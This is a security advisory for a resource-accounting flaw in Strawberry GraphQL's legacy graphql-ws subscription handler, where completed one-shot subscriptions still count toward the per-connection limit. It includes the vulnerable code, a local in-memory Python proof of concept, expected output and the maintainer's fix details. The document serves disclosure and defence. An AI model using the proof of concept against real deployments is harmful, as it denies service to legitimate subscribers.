CVE-2026-107727

Strawberry's legacy graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures max_subscriptions_per_connection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit reached.

This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy graphql-ws protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured max_subscriptions_per_connection limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.

Details

The audited snapshot is Strawberry 0.324.4, commit c3caabd1188acda62045e7fd9ba9e37ac430cf96. The relevant implementation is in [strawberry/subscriptions/protocols/graphql_ws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.

When a new operation is started, the handler rejects it once the task count reaches the configured limit:

if (
    self.max_subscriptions_per_connection is not None
    and len(self.tasks) >= self.max_subscriptions_per_connection
):
    await self.send_message(
        ErrorMessage(
            type="error",
            id=operation_id,
            payload={"message": "Subscription limit reached"},
        )
    )
    return

The operation task is stored in self.tasks, and its result source is stored in self.subscriptions. On normal exhaustion of the result source, handle_async_results() sends a completion message:

async for result in result_source:
    await self.send_data_message(result, operation_id)

await self.send_message(
    CompleteMessage(type="complete", id=operation_id)
)

The natural completion path does not call cleanup_operation() before returning. The deletion of the stored operation state is implemented separately:

async def cleanup_operation(self, operation_id: str) -> None:
    if operation_id in self.subscriptions:
        await self.subscriptions[operation_id].aclose()
        del self.subscriptions[operation_id]

    self.tasks[operation_id].cancel()
    await self.tasks[operation_id]
    del self.tasks[operation_id]

Consequently, after a one-shot operation has sent complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.

The connection-slot impact requires both parts of the behavior:

1. the natural-completion path leaves the completed operation accounted for; and
2. the legacy handler has max_subscriptions_per_connection enabled.

PoC

The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.

1. Environment installation

Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:

python -m pip install "strawberry-graphql[channels]==0.324.4" daphne

For a different tested release, replace 0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.

Record the actual versions before testing:

python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"

2. Save the bounded test

Save the following as poc.py:

import asyncio

from django.conf import settings

if not settings.configured:
    settings.configure(
        SECRET_KEY="local-validation-only",
        CHANNEL_LAYERS={
            "default": {
                "BACKEND": "channels.layers.InMemoryChannelLayer",
            }
        },
    )

import strawberry
from channels.testing import WebsocketCommunicator

from strawberry.channels.handlers.ws_handler import GraphQLWSConsumer
from strawberry.schema import Schema
from strawberry.subscriptions import GRAPHQL_WS_PROTOCOL


@strawberry.type
class Query:
    @strawberry.field
    def ping(self) -> str:
        return "pong"


@strawberry.type
class Subscription:
    @strawberry.subscription
    async def one_shot(self) -> str:
        yield "marker"


schema = Schema(query=Query, subscription=Subscription)

application = GraphQLWSConsumer.as_asgi(
    schema=schema,
    subscription_protocols=(GRAPHQL_WS_PROTOCOL,),
    max_subscriptions_per_connection=2,
)


async def receive_until_complete(communicator, operation_id):
    messages = []
    for _ in range(3):
        message = await asyncio.wait_for(
            communicator.receive_json_from(), timeout=2
        )
        messages.append(message)
        if (
            message.get("type") == "complete"
            and message.get("id") == operation_id
        ):
            return messages
    raise AssertionError(
        f"no complete message for {operation_id}: {messages}"
    )


async def main() -> None:
    communicator = WebsocketCommunicator(
        application,
        "/graphql",
        subprotocols=[GRAPHQL_WS_PROTOCOL],
    )
    connected, accepted_protocol = await communicator.connect()
    assert connected
    assert accepted_protocol == GRAPHQL_WS_PROTOCOL

    try:
        await communicator.send_json_to({"type": "connection_init"})
        ack = await communicator.receive_json_from()
        assert ack["type"] == "connection_ack"

        query = "subscription { oneShot }"

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "one",
                "payload": {"query": query},
            }
        )
        first_messages = await receive_until_complete(
            communicator, "one"
        )

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "two",
                "payload": {"query": query},
            }
        )
        second_messages = await receive_until_complete(
            communicator, "two"
        )

        # Allow completed handler tasks to finish their sends before the
        # third operation is started.
        await asyncio.sleep(0)

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "three",
                "payload": {"query": query},
            }
        )
        third_message = await asyncio.wait_for(
            communicator.receive_json_from(), timeout=2
        )

        print(
            {
                "first": first_messages,
                "second": second_messages,
                "third": third_message,
            }
        )
    finally:
        await communicator.disconnect()


asyncio.run(main())

3. Run

python poc.py

4. Expected results

A fixed implementation should send data and complete for both one and two, then permit three to start and complete.

The behavior is:

{
  'first': [
    {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}},
    {'type': 'complete', 'id': 'one'}
  ],
  'second': [
    {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}},
    {'type': 'complete', 'id': 'two'}
  ],
  'third': {
    'type': 'error',
    'id': 'three',
    'payload': {'message': 'Subscription limit reached'}
  }
}

The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that one and two both receive complete, while three receives Subscription limit reached with a different operation ID.

Maintainer note

Confirmed and reproduced against 0.327.0. The max_subscriptions_per_connection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.

Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late stop for a completed operation is a no-op. The fix was released in 0.327.2.